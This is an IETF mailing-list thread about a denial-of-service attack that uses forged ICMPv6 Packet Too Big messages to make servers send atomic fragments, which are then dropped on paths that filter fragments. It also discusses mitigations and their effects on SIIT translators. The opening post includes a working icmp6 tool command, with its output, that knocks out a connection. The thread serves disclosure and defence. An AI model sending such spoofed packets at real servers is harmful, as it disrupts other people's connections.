Subject: [OPSEC] DoS attacks (ICMPv6-based) resulting from IPv6 EH drops

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 09:00:15 -0300

Folks,

Ten days ago or so we published this I-D:
<http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world-00.txt>

Section 5.2 of the I-D discusses a possible attack vector based on a
combination of "forged" ICMPv6 PTB messages and IPv6 frag drops by
operators, along with proposed countermeasures -- on which we'd like to
hear your comments.

Since Section 5.2 is in the draft, let me offer a more informal and
practical explanation:

1) It is known that filtering of packets containing IPv6 Extension
Headers (including the Fragment Header) is widespread (see our I-D above)

2) Let us assume that Host A is communicating with Server B, and that
some node filters fragments between Host A and Server B.

3) An attacker sends a spoofed ICMPv6 PTB to server B, with a "Next Hop
MTU<1280), in the hopes of eliciting "atomic fragments" (see
<http://tools.ietf.org/rfc/rfc6946.txt>) from now on.

4) Now server B starts sending IPv6 atomic fragments... And since they
include a frag header (and in '2)' above we noted that frags are dropped
on that path), these packets get dropped (i.e., DoS).

"Demo" with the icmp6 tool
(<http://www.si6networks.com/tools/ipv6toolkit>) -- (some addresses have
been changed (anonimized), but it is trivial to pick a victim server...)

"2001:db8:1:10:0:1991:8:25" is the server, and
"2001:5c0:1000:a::e7d" is my own address):

---- cut here ----
***** First of all, I telnet to port 80 of the server, and
everything works as expected ****

fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80
Trying 2001:db8:1:10:0:1991:8:25...
Connected to 2001:db8:1:10:0:1991:8:25.
Escape character is '^]'.
^CConnection closed by foreign host.

**** Now I send the forget ICMPv6 PTB ****

fgont@satellite:~$ sudo icmp6  --icmp6-packet-too-big -d
2001:db8:1:10:0:1991:8:25 --peer-addr 2001:5c0:1000:a::e7d --mtu 1000 -o
80 -v
icmp6: Security assessment tool for attack vectors based on ICMPv6 error
messages

IPv6 Source Address: 2001:5c0:1000:a::e7d (automatically selected)
IPv6 Destination Address: 2001:db8:1:10:0:1991:8:25
IPv6 Hop Limit: 227 (randomized)
ICMPv6 Packet Too Big (Type 2), Code 0
Next-Hop MTU: 1000
Payload Type: IPv6/TCP (default)
Source Address: 2001:db8:1:10:0:1991:8:25 (automatically-selected)
Destination Address: 2001:5c0:1000:a::e7d
Hop Limit: 237 (randomized)
Source Port: 80	Destination Port: 38189 (randomized)
SEQ Number: 734463213 (randomized)	ACK Number: 866605720 (randomized)
Flags: A (default)	Window: 18944 (randomized)	URG Pointer: 0 (default)
Initial attack packet(s) sent successfully.

***** And now I try the same telnet command as above... but it fails,
because the frags from the server to me are getting dropped somewhere ****

fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80
Trying 2001:db8:1:10:0:1991:8:25...
[timeout]
---- cut here ----

Of course, in this particular case I just "shot myself". But one could
do this to DoS connections between mailservers, etc.

A nice question is: what if e.g....

1) some BGP servers accept ICMPv6 PTB that claim an MTU < 1280, and
react (as expected) by generating atomic fragments, *and*,

2) These same BGP servers deem fragmentation as "harmful", and hence
drop such fragments

you could essentially DoS traffic between them

As noted in the I-D, the mitigations seem to be:

1) Artificially limit your packets to 1280, and drop all incoming ICMPv6
PTB, or,

2) Have your device just drop ICMPv6 PTB that claim a Next-Hop MTU
smaller than 1280.

Thoughts?
-- 
Fernando Gont
SI6 Networks
e-mail: [email-masked]
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492

---

From: Jeroen Massar <[email-masked]>
Date: Tue, 19 Aug 2014 14:31:31 +0200

On 2014-08-19 14:00, Fernando Gont wrote:
[..]
> react (as expected) by generating atomic fragments, *and*,

Anything accepting an MTU < 1280 does not belong on the Interwebs.

Hence, it would be good that kind of broken code can't send anything.

[..]
> 2) Have your device just drop ICMPv6 PTB that claim a Next-Hop MTU

Don't forget:
0) BCP38.

Though, one would have to inspect the ICMPv6 packet too then....

Hmm, maybe time to test that out in sixxsd...

Greets,
 Jeroen

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 09:35:18 -0300

> Hence, it would be good that kind of broken code can't send anything.

Well, RFC2460 requires so....

> Though, one would have to inspect the ICMPv6 packet too then....

Agreed. You need to apply ICMPv6 to the embedded payload...

> Hmm, maybe time to test that out in sixxsd...

Just taking my chance to thank you for sixxsd! ;-)

Cheers,

---

From: Jeroen Massar <[email-masked]>
Date: Tue, 19 Aug 2014 15:18:56 +0200

On 2014-08-19 14:35, Fernando Gont wrote:
[..]
> Agreed. You need to apply ICMPv6 to the embedded payload...

But also for ICMPv4, which has similar attacks.

Hence we should formulate text a bit like:

8<------------------------
When forwarding or receiving an ICMP error packet:
 - The IP destination of the packet MUST match the source address
   represented in the ICMP error packet.

 - The ICMP error packet's destination address must qualify uRPF rules
   for the same interface as the source address.[1]

As the verified packets are ICMP errors, when the verification fails the
packet MUST be dropped, logging is recommended.

Due to the checking inside the ICMP portion of a packet:
  Access-routers, firewalls and hosts MUST perform these checks.
  Core-routers SHOULD perform these checks

[1] When ICMP-dst address matches IP-src the check should already have
been performed by the standard uRPF check.
------------------------>8

But then in better wording to avoid dis-ambiguity of which src/dst is
which (the one in IP or ICMP)

> Just taking my chance to thank you for sixxsd! ;-)

Unfortunately that is only usable for a very small base of connectivity
and hopefully one day will stop to be needed. The big brands needs to
implement it. And it much more difficult to push out updates to devices
which are not under one's control and where one has a very large
deployed base.

Greets,
 Jeroen

---

From: Roland Dobbins <[email-masked]>
Date: Tue, 19 Aug 2014 20:23:54 +0700

On Aug 19, 2014, at 8:18 PM, Jeroen Massar <[email-masked]> wrote:

> - The ICMP error packet's destination address must qualify uRPF rules for the same interface as the source address.[1]

Should this language be limited to uRPF, or should it include other anti-spoofing mechanisms, as well?

----------------------------------------------------------------------
Roland Dobbins <[email-masked]> // <http://www.arbornetworks.com>

                   Equo ne credite, Teucri.

    		   	  -- Laocoön

---

From: Jeroen Massar <[email-masked]>
Date: Tue, 19 Aug 2014 15:29:36 +0200

> Should this language be limited to uRPF, or should it include other anti-spoofing mechanisms, as well?

Any kind of mechanism that can check:
"is this source address supposed to come from that interface"

would qualify IMHO (as long as it does a proper job ;).

Greets,
 Jeroen

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 11:58:42 -0300

On 08/19/2014 11:37 AM, Philip Homburg wrote:
>>
>>> - The ICMP error packet's destination address must qualify uRPF rules for=
>> the same interface as the source address.[1]
>>
> At least for TCP it is relatively easy for the host to check whether the sequence
> numbers make sense. If they don't, discard the error ICMP.

mmm.. not really... check this (from
<http://www.ietf.org/id/draft-gont-6man-deprecate-atomfrag-generation-00.txt>):

   o  Many implementations fail to perform validation checks on the
      received ICMPv6 error messages, as recommended in Section 5.2 of
      [RFC4443] and documented in [RFC5927].  It should be noted that in
      some cases, such as when an ICMPv6 error message has (supposedly)
      been elicited by a connection-less transport protocol (or some
      other connection-less protocol being encapsulated in IPv6), it may
      be virtually impossible to perform validation checks on the
      received ICMPv6 error messages.  And, because of IPv6 extension
      headers, the ICMPv6 payload might not even contain any useful
      information on which to perform validation checks.

   o  Upon receipt of one of the aforementioned ICMPv6 "Packet Too Big"
      error messages, the Destination Cache [RFC4861] is usually updated
      to reflect that any subsequent packets to such destination should
      include a Fragment Header.  This means that a single ICMPv6
      "Packet Too Big" error message might affect multiple communication
      instances (e.g., TCP connections) with such destination.

Cheers,

---

From: Nick Hilliard <[email-masked]>
Date: Tue, 19 Aug 2014 15:10:40 +0100

> But also for ICMPv4, which has similar attacks.

no, it doesn't because in general ipv4 fragments are not dropped.  Also,
ipv4 handles this by fragmenting en-route rather than sending PTB packets
to the source.

Nick

---

From: Philip Homburg <[email-masked]>
Date: Tue, 19 Aug 2014 16:37:11 +0200

---

From: Jeroen Massar <[email-masked]>
Date: Tue, 19 Aug 2014 18:17:09 +0200

> ipv4 handles this by fragmenting en-route rather than sending PTB packets

Note the word 'similar' in that sentence.

While that specific fragmented attack won't work, one can still spoof
return ICMPs and give wrong answers.

Anyone remember Rotorouter[1] ? :)

Hence, why it is a good idea to do the same checks for IPv4 too and why
I avoid mentioning what kind of attack it was solving. It is just good
hygiene to check validity of things.

Greets,
 Jeroen

[1] http://www.shmoo.com/mail/bugtraq/aug98/msg00110.html

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 13:25:35 -0300

> hygiene to check validity of things.

FWIW, I had posted this thingy a while ago:
<http://www.gont.com.ar/papers/filtering-of-icmp-error-messages.pdf>  --
essentially BCP38 on the ICMPv4 payload..

Cheers,

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 13:33:54 -0300

Hello, Jeroen,

> Hence we should formulate text a bit like:

Should we include something alng this lines to the countermeasures
listed in draft-gont-v6ops-ipv6-ehs-in-real-world, or were you thinking
about something else?

Thanks!

Cheers,

---

From: Jeroen Massar <[email-masked]>
Date: Tue, 19 Aug 2014 18:48:38 +0200

[merging two different replies back into one]

> listed in draft-gont-v6ops-ipv6-ehs-in-real-world, or were you thinking

While it kind-of has a place there, (ipv6-ehs-in-real-world) is a
"current state of the Internet" regarding this problem, it thus
introduces the problem.

Hence, a short, separate document which updates ICMPv4 + ICMPv6
referencing that draft would be more appropriate IMHO.

Especially as then it is quicker for implementers to see what they need
to get done to solve the issue. Hence, a short intro with "this is the
problem: ....; for more detail see draft-X + RFC5927" + "do this in your
ICMPv4/v6 stacks" would be a good start.

Then we might be able to get it quickly into at least Linux and BSD
kernels which is what most access-router/firewalls are being built upon.

On 2014-08-19 18:25, Fernando Gont wrote:
>> Hence, why it is a good idea to do the same checks for IPv4 too
>> and why I avoid mentioning what kind of attack it was solving.
>> It is just good hygiene to check validity of things.
>
> <http://www.gont.com.ar/papers/filtering-of-icmp-error-messages.pdf>
> -- essentially BCP38 on the ICMPv4 payload..

aka RFC 5927, though only informational even though it went through WG
review it seems.

That indeed touches upon the subject quite a bit too, and would be a
good thing to reference from a draft dubbed:
 "ICMPv4 + ICMPv6 Address Verification"

Greets,
 Jeroen

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 14:18:42 -0300

> referencing that draft would be more appropriate IMHO.

Ok, makes sense.

> aka RFC 5927, though only informational even though it went through WG

It took 7 years to publish... and not because of slacking. It was
insane. :-)

Cheers,

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 15:10:39 -0300

Hi, Jinmei,

On 08/19/2014 02:58 PM, 神明達哉 wrote:
> In my general understanding, ICMPv6 PTB with the MTU < 1280 could be
> only (at least in practice) used for the "stateless" type of IPv4/v6
> translators so that the IPv6-only host can give the translator a hint
> for the 16-bit IPv4 header ID value.  Am I correct?

Yes. (That's the theory, at least. Me, I'd say that the host is really
in no better position than the translator to pick a Frag ID... actually,
it's in a much worse position).

> If so, one possible alternative would be to drop such ICMPv6 PTB
> unless the source IPv6 address is one of those reserved for such use
> (as defined in RFC 6052).

Source of the ICMPv6 message? If so, I'd say that while that's certainly
better than the current situation, unless there's widespread deployment
of BCP38, an attacker could still forge an ICMPv6 with one of such
addresses and still perform the attack..

> Then we can at least reduce the problem to
> source address spoofing.  And, unless/until we heavily rely on such
> types of translators, this may be actually sufficient in practice,
> since in the vast majority of legitimate cases we should use different
> addresses than those special ones.

I must say that I fail to see the need for generating IPv6 atomic
fragments 8packets with a frag header, which are not really fragmented).
See e.g. what we wrote in
<http://tools.ietf.org/html/draft-gont-6man-deprecate-atomfrag-generation-00>.

Thoughts?

Thanks!

Best regards,

---

From: 神明達哉 <[email-masked]>
Date: Tue, 19 Aug 2014 10:58:01 -0700

At Tue, 19 Aug 2014 09:00:15 -0300,

(as defined in RFC 6052).  Then we can at least reduce the problem to

--
JINMEI, Tatuya

---

From: Brian E Carpenter <[email-masked]>
Date: Wed, 20 Aug 2014 10:58:51 +1200

On 20/08/2014 10:29, Lorenzo Colitti wrote:
> On Tue, Aug 19, 2014 at 11:10 AM, Fernando Gont <[email-masked]>
> wrote:
> 
>> <
>> http://tools.ietf.org/html/draft-gont-6man-deprecate-atomfrag-generation-00
>>> .
> 
> It does seem kind of silly that we say "you must support MTU >= 1280 to run
> IPv6" and then allow PTB packets with an MTU < 1280. Any reason we can't
> simply say that PTB packets < 1280 are invalid?

Because of SIIT, that is equivalent to saying that the minimum IPv4
MTU is now 1260. That might be a discussion worth having, but 576 has
been around for a long time.

   Brian

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 20:22:36 -0300

On 08/19/2014 07:47 PM, Mark Andrews wrote:
> Some node is performing a Denial Of Service attack on the communications
> between Host A and Server B.  The logical thing is to remove/reconfigure
> the node performing the denial of service attack.  Note the box
> that is dropping the fragments is almost certainly controlled by
> the owners of A or the owners of B.

Not necessarily. Please see our measurement results in
<http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world-00.txt>
regarding the percentage of packet drops that happen in a different AS
other than the destination AS.

> The PTB is not the problem.  The Atomic fragments are not the
> problem.  The problem is the node that is filtering the packets.
> Atomic fragements are easily identifiable.  There is zero reason
> to filter them and good reason to let them continue to exist.

There's no problem with *processing* atomic fragments. The question here
is what that of "including an FH in all subsequence packets in response
to an ICMPv6 PTB<1280" buys us. As far as I can see, it only buys trouble.

> Write up a CERT advisary and list all the known firewalls that fail
> to pass atomic fragments.
> 
> Write a RFC "Firewalls That Drop Atomic Fragments Considered Harmful".

FWIW, they are dropping all fragments, not just atomic fragments.

The only issue with atomic fragments is how their generation is
triggered: they are (easily) triggered by a packet type (ICMPv6 PTB)
that does not even require source address spoofing, and that is hard to
validate.

And even if you think you have everything under control in the sense of
"I block all fragments, and artificially limit the MTU to 1280" you may
get bitten. In the same way you will get bitten when a third party is
dropping IPv6 fragments (as our measurements indicate).

Cheers,

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 20:24:17 -0300

Hi, Brian,

> been around for a long time.

Not sure what you meant about 576... that we can assume that to be a
minmum MTU, or something else?

Thanks!

Cheers,

---

From: Brian E Carpenter <[email-masked]>
Date: Wed, 20 Aug 2014 11:56:12 +1200

On 20/08/2014 11:01, Lorenzo Colitti wrote:
> On Tue, Aug 19, 2014 at 3:58 PM, Brian E Carpenter <
> [email-masked]> wrote:
> 
>>> Any reason we can't simply say that PTB packets < 1280 are invalid?
> Can we then say that PTB packets < 1280 are invalid and should be ignored
> by hosts? Or should be ignored unless they are running a SIIT translator?

The host doesn't know in general if there is a translator downstream
(except in a DNS64/NAT64 scenario).

   Brian

---

From: Brian E Carpenter <[email-masked]>
Date: Wed, 20 Aug 2014 12:09:09 +1200

On 20/08/2014 11:24, Fernando Gont wrote:
> minmum MTU, 

Yes, that hasn't changed since RFC 791 (although the way fragmentation
is defined for IPv4 is rather different from IPv6, of course).

Maybe we consider it acceptable that SIIT will break on paths that
include a shorter-than-Ethernet link MTU. But we need to make that
statement explicit.

  Brian

or something else?

---

From: Brian E Carpenter <[email-masked]>
Date: Wed, 20 Aug 2014 14:29:52 +1200

On 20/08/2014 13:55, Mark Andrews wrote:
> 	576 is the mimimum reassembly buffer size to be supported
> 	by all IPv4 hosts.  It is *not* the minimum path MTU size.

Indeed. In fact what I was trying to say, badly, is that the
proposed change would de facto create a minimum path MTU of
1260 for IPv4, iff we want SIIT to work in the general case.

Which is a choice we could make, but we'd need to be clear
that we were making it.

   Brian

> 
> 	The miminum link MTU is 68 bytes.  RFC 791.
> 
> 	Mark
> 
> In message <[email-masked]>, Brian E Carpenter writes:
>> _______________________________________________
>> v6ops mailing list
>> [email-masked]
>> https://www.ietf.org/mailman/listinfo/v6ops

---

From: Brian E Carpenter <[email-masked]>
Date: Wed, 20 Aug 2014 16:02:42 +1200

On 20/08/2014 14:42, Lorenzo Colitti wrote:
> On Tue, Aug 19, 2014 at 4:56 PM, Brian E Carpenter <
> What does "downstream" mean? Do you mean "the host does not know if the
> other host it's talking to is behind a SIIT translator"? Or something else?

No, exactly that. SIIT is defined as a stateless translation,
and there's no direct way for a host to know it exists. So if
you get a PTB for <1280, you simply don't know if it's from a
real translator or not in the general case. That's why there's
a DOS risk in the first place.

It would be interesting to know if this matters. It only matters
if there is a significant number of operational paths with the
combination of SIIT and small IPv4 MTUs. I think we need more
data before 6man considers making an incompatible change.

    Brian

---

From: Lorenzo Colitti <[email-masked]>
Date: Tue, 19 Aug 2014 15:29:40 -0700

---

From: Mark Andrews <[email-masked]>
Date: Wed, 20 Aug 2014 08:47:34 +1000

-- 
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: [email-masked]

---

From: Lorenzo Colitti <[email-masked]>
Date: Tue, 19 Aug 2014 16:01:51 -0700

---

From: Mark Andrews <[email-masked]>
Date: Wed, 20 Aug 2014 11:55:22 +1000

Mark

---

From: Lorenzo Colitti <[email-masked]>
Date: Tue, 19 Aug 2014 19:42:09 -0700

---

From: Fernando Gont <[email-masked]>
Date: Tue, 19 Aug 2014 22:01:37 -0300

Hi, Brian,

On 08/19/2014 09:09 PM, Brian E Carpenter wrote:
> Yes, that hasn't changed since RFC 791 

Not really. For v4, 576 is the "minimum reassembly buffer size" (you're
guaranteed to the remote host can reassemble a datagram of that size),
not the minimum MTU.

The IPv4 minimum MTU is actually 68 bytes. While working on RFC5927, I
recall that at least OpenBSD enforced a lower limit as low as (around)
296 bytes, since that accommodated some radio links that were known to
be in use at the time...

> include a shorter-than-Ethernet link MTU. But we need to make that

Or just update SIIT along with deprecating the generation of atomic
fragments. -- At the end of the day, not that long ago there were at
least a handful of implementations that didn't react to ICMPv6 PTB<1280
as required by RFC2460. Some we might already have scenarios in which
the SIIT device expects the host to generate atomic fragments, but it
doesn't.

Thanks!

Best regards,

---

From: Tore Anderson <[email-masked]>
Date: Wed, 20 Aug 2014 10:12:33 +0200

* Brian E Carpenter

> include a shorter-than-Ethernet link MTU. But we need to make that

Making ICMPv6 PTB with MTU < 1280 invalid would only break SIIT for IPv4
paths with an IPv4 MTU, as an ICMPv4 Fragmentation Needed indicating an
MTU value of 1260 would be translated to an ICMPv6 Packet Too Big with
an MTU value of 1280 by the SIIT translator. See RFC 6145 section 4.2.

In other words, "shorter-than-Ethernet link MTU" is fine, IFF the paths
in the IPv4 domain are >=1260 (and obviously >=1280 in the IPv6 domain,
but that is guaranteed irrespective of SIIT).

I discuss this briefly in my SIIT-DC draft here:

http://htmlpreview.github.io/?https://github.com/toreanderson/ietf/blob/master/siit-dc.html#rfc.section.3.8.2

Finally, there is a workaround (described in section 4.5 of my draft).
In a nutshell:

1) Clamp all MTU values in translated ICMPv6 PTBs up to 1280
2) When translating IPv6 packets <=1280 bytes to IPv4, always clear the
DF flag and generate an Identification value.

This will hide the path with the small <1260/1280 IPv4/IPv6 MTU from the
IPv6 node by making the IPv4 network fragment the packets instead.

How common IPv4 paths with an MTU of <1260 are on today's internet, I
don't know. Maybe the RIPE Atlas team could find out for us? It could be
that problem isn't worth losing too much sleep over in the first place.

Tore

---

From: Tore Anderson <[email-masked]>
Date: Wed, 20 Aug 2014 10:26:45 +0200

* Tore Anderson

> paths with an IPv4 MTU, [..]

Correction, this should have read «[...] paths with an IPv4 MTU < 1260».

Tore

---

From: Fernando Gont <[email-masked]>
Date: Wed, 20 Aug 2014 05:48:22 -0300

Hi, Brian,

> data before 6man considers making an incompatible change.

Truth is that, at this point in time, you will not find any significant
number of SIIT deployments for any kind of measurements to be to have
any significance.

It would also depend on the kind of SIIT deployment:

* If the translator is closer to the client, I'd expect that IPv4 path
has at least the 1280 bytes.

* OTOH, if SIIT is being deployed closer to the server (IPv6-only
datacenter sort of thing), then the IPv4 could be... anything (although,
I'd still expect the vast majority to have MTUs of at least 1280 bytes).
But in this case, you really want to avoid IPv6 fragmentation as much as
possible, since sending IPv6 fragments greatly reduces the chances of
your packets from getting there.

In any case, I think that there are some factors to consider here:

* At least some popular OSes were not generating IPv6 atomic fragments
as expected (that includes some rather recent versions of FreeBSD and
Mac OS X). Hence the most robust option is to gracefully handle the case
where the IPv6 node does not generate IPv6 atomic fragments.

* And we're certainly not at a stage in which SIIT deployments are "the
rule". Hence, the earlier this is fixed, the cheaper it gets.

Thanks,

---

From: 神明達哉 <[email-masked]>
Date: Wed, 20 Aug 2014 13:37:42 -0700

At Tue, 19 Aug 2014 15:10:39 -0300,
Fernando Gont <[email-masked]> wrote:

> Source of the ICMPv6 message?

I was not really accurate - I should have said the destination address
of the original IPv6 packet that triggered the ICMPv6 PTB.  But in
this specific case, the effect should be the same in practice, since
the source of the ICMPv6 PTB is the translator box, which would use
the destination of the original IPv6 packet as the source of the
ICMPv6.

> If so, I'd say that while that's certainly

In your previous/other messages you emphasized that the attack cannot
be prevented by BCP38, seemingly to back the conclusion that
completely killing PTB<1280 is the best option.  Bringing the point
that BCP38 isn't widely deployed once you saw a scenario where it
could be a measure makes me doubt the credibility of this discussion:
if your goal was to convince people with your preferred solution
(which itself is perfectly fine), I'd rather see the discussion that
way from the beginning, than listing possible options and soliciting
general "thoughts".

But anyway, even the point with the deployability of BCP38 is not that
important in this case.  The key part is here:

>> And, unless/until we heavily rely on such

If SIIT-type of translators aren't really deployed at least yet (which
we all seem to agree on), dropping the offending ICMPv6 PTB except for
these special addresses effectively works as dropping them
unconditionally.  It still works better than dropping all such ICMPv6
PTB for the unlikely case of having serious deployments of SIIT, in
that we don't break existing practices (although they need to decide
whether to keep using it at the cost of seeing the DoS discussed
here).  And, while the SIIT-kind of spec may have to be revised
because of this issue, we can still allow experimental/serious
deployment of it at their own risk.  If and when such revision of the
spec is completed and reasonably deployed, we can then consider
killing ICMPv6 PTB<1280 completely.

> <http://tools.ietf.org/html/draft-gont-6man-deprecate-atomfrag-generation-00>.

I personally have no problem with deprecating atomic fragments (which
would also deprecate PTB<1280 naturally); I'm not relying on SIIT
myself nor I have any incentive to defend it in general.  So, if
others are also happy with that I'll be too.  But as this thread
actually shows, a proposal of deprecating something can often be
controversial since it can break some existing deployment, and it's
basically impossible to prove there's no such deployment (and the
acceptable deployment level to justify the deprecation is often a
matter of opinion).  Now that I've seen such controversy, I'd
personally prefer more gradual path like the "alternative approach" I
mentioned.

--
JINMEI, Tatuya

---

From: Fernando Gont <[email-masked]>
Date: Wed, 20 Aug 2014 18:26:01 -0300

Jinmei,

On 08/20/2014 05:37 PM, 神明達哉 wrote:
> completely killing PTB<1280 is the best option.

I never said that. And that certainly wasn't my line of reasoning.

I emphasized that BCP38 doesn't block the attack, because BCP38 does
block many/most of this sort of attack (e.g., attacks against TCP
connections, etc.).

Then,  we came up with one possible way to mitigate this vulnerability
and asked for comments.

> Bringing the point

I asked for "thoughts" because I might have missed or overlooked
something, or someone might come up with a better idea. Given options so
far, I tried to analyze pros and cons. The one you suggested addresses
only one of the two kinds of translators (if I understood correctly),
and may still leave the door open in some scenarios. That's why I
concluded that the one we originally offered still seemed like the best
way to fix this. (i.e., me thinking out loud rather that anything else)

> here).

FWIW, the "dropping" is by the end node... and if that really is an
issue, then we're already in "trouble", because it turns out that at
least some boxes (some FreeBSD versions, NetBSD, and some Mac OS
versions, fail to produce atomic fragments in response to ICMPv6 PTB).

> And, while the SIIT-kind of spec may have to be revised
> deployment of it at their own risk.

It's really "deployment at someone *else's* risk". Because it's the
folks that generate atomic fragments the ones paying the price (and not
the SIIT boxes or deployments).

> matter of opinion). 

What breaks what may vary from one case to another. For instance,
relying on atomic fragments implies that you rely on:

1) Both ICMPv4 and ICMPv6 messages not being filtered
2) IPv6 fragments not being filtered
3) Nodes reacting to ICMPv6 PTB<1280

Both 1 through 3 vary from one environment to another... but I'm of the
idea that the lest you rely on them, the better.

Thanks!

Cheers,

---

From: Joe Touch <[email-masked]>
Date: Wed, 20 Aug 2014 14:39:14 -0700

On 8/19/2014 3:29 PM, Lorenzo Colitti wrote:
> On Tue, Aug 19, 2014 at 11:10 AM, Fernando Gont <[email-masked]
> <mailto:[email-masked]>> wrote:
>
> It does seem kind of silly that we say "you must support MTU >= 1280 to
> run IPv6" and then allow PTB packets with an MTU < 1280. Any reason we
> can't simply say that PTB packets < 1280 are invalid?

I can't see a good reason that the INT area couldn't do this. I see many 
reasons why V6OPS shouldn't be deciding this.

Joe

---

From: Roland Dobbins <[email-masked]>
Date: Thu, 21 Aug 2014 05:19:48 +0700

On Aug 21, 2014, at 4:39 AM, Joe Touch <[email-masked]> wrote:

> I can't see a good reason that the INT area couldn't do this.

Personally, I don't think it's practical, given the realities of legacy deployments, et. al.

> I see many reasons why V6OPS shouldn't be deciding this.

Concur 100%.

                   Equo ne credite, Teucri.

    		   	  -- Laocoön

---

From: 神明達哉 <[email-masked]>
Date: Wed, 20 Aug 2014 18:07:21 -0700

At Wed, 20 Aug 2014 18:26:01 -0300,
Fernando Gont <[email-masked]> wrote:

> [...] The one you suggested addresses
> and may still leave the door open in some scenarios.

Specifically?

> the SIIT boxes or deployments).

If the deployment/experiment of SIIT is real but we still ban
PTB<1280 as a first step of revision, they (= someone *else*) will
need to pay some price anyway: either they can be susceptible to the
DoS in question or they can see some strange failure when IPv4
fragmentation is needed.  Certainly, we should fix SIIT(-kind)
of translators for a longer term.  So it seems to me the question of
which kind of cost we ask "them" for paying until then.

I thought the gradual approach would be less controversial than an
abrupt ban and allow us to use our time more efficiently, so I
mentioned it (I actually didn't intend to "suggest" it, as I
personally don't have a strong stake on it).  I know you have a
different opinion and I respect that.  I just wish it would be
accepted smoothly.

> idea that the lest you rely on them, the better.

Same as above.  It just seems to be that we have different
expectations on the feasibility of options from different point of
views.  As you still seem to believe your preferred option is more
feasible in terms of the standardization process, I have nothing more
to say; I have no reason to push the alternative I mentioned, so
please simply ignore it and try to persuade others.

--
JINMEI, Tatuya

---

From: Fernando Gont <[email-masked]>
Date: Thu, 21 Aug 2014 03:24:34 -0300

>> and may still leave the door open in some scenarios.

Well, you can only really apply the suggested check to the stateless
translation scenario. But since a host does not now where it will be
deployed, it cannot (out of the box) require that e.g. ICMPv6 PTB<1280
use any specific part of the address space.

Put another way, the mitigation would not "just work out of the box" for
any of the servers running on the public Internet.

And then, for the scenarios "a" or "c" from Section 2 of RFC6144, you
still need to enforce filtering to prevent attacks within the IPv6 network.

> which kind of cost we ask "them" for paying until then.

Reading though RFC6145, I see that in quite a few places the spec
considers "configuration options" and the like t be able to cope with
IPv6 packet drops, and fragmentation -- but for a different than
security (the ones that I've mentioned below).

For instance, Section 6 of RFC6145 says:
   Two recent studies analyzed the behavior of IPv6-capable web servers
   on the Internet and found that approximately 95% responded as
   expected to an IPv6 Packet Too Big that indicated MTU = 1280, but
   only 43% responded as expected to an IPv6 Packet Too Big that
   indicated an MTU < 1280.

Put another way, we are leaving the door open to attack due to something
that is giving us a 60% failure rate already.

> mentioned it 

Just a request for clarification: The "gradual path" would be to enforce
additional requirements on the ICMPv6 PTB messages?

> feasible in terms of the standardization process,

I have no idea about which options is "more feasible in terms of
standardization process", to be honest. For the time being, I'm just
rethinking/re-evaluating options, even if just for the technical/mental
exercise of figuring out what would be the best approach. And kind of
hope that if the analysis is correct, that may result in "feasibility in
terms of standardization process".

---

From: 神明達哉 <[email-masked]>
Date: Fri, 22 Aug 2014 09:38:32 -0700

At Thu, 21 Aug 2014 03:24:34 -0300,
Fernando Gont <[email-masked]> wrote:

> translation scenario.

Yes, and I thought we'd be okay with that, based on the
assumption/understanding that PTB<1280 is only useful for stateless
translation scenarios (and that's why I first asked this in my very
original message of this thread).

> But since a host does not now where it will be

Do you mean this mitigation isn't effective if the well-known prefix
(64:ff9b::/96) isn't used for the IPv4-Embedded IPv6 Addresses in
the stateless translation scenario?  If so, that's correct, and I have
to confess I don't remember all details and variations of translation
technologies and I assumed that stateless translation always uses the
well-known prefix.  Maybe I was incorrect about that?

--
JINMEI, Tatuya

---

From: Tore Anderson <[email-masked]>
Date: Sat, 23 Aug 2014 09:48:42 +0200

Hello 神明達哉,

> I assumed that stateless translation always uses the well-known
> prefix.  Maybe I was incorrect about that?

Yes, that is incorrect. Per RFC 6052 the operator can use either the
Well-Known Prefix and a Network-Specific Prefix. There are quite few
reasons why one would choose the latter; for example it allows for the
translating device to be reached across the public internet. Another
reason is that only a single WKP exists, so if the operator wants to
deploy both SIIT and NAT64, and/or multiple instances of either
technology, all of his deployments (except for one), must necessarily
use an NSP.

Tore

---

From: 神明達哉 <[email-masked]>
Date: Mon, 25 Aug 2014 10:57:07 -0700

At Sat, 23 Aug 2014 09:48:42 +0200,

> technology, all of his deployments (except for one), must necessarily

Okay, thanks for the correction.  In that case this approach cannot be
a complete alternative to dropping PTB<1280 unconditionally without
affecting possible existing/coming deployments.

--
JINMEI, Tatuya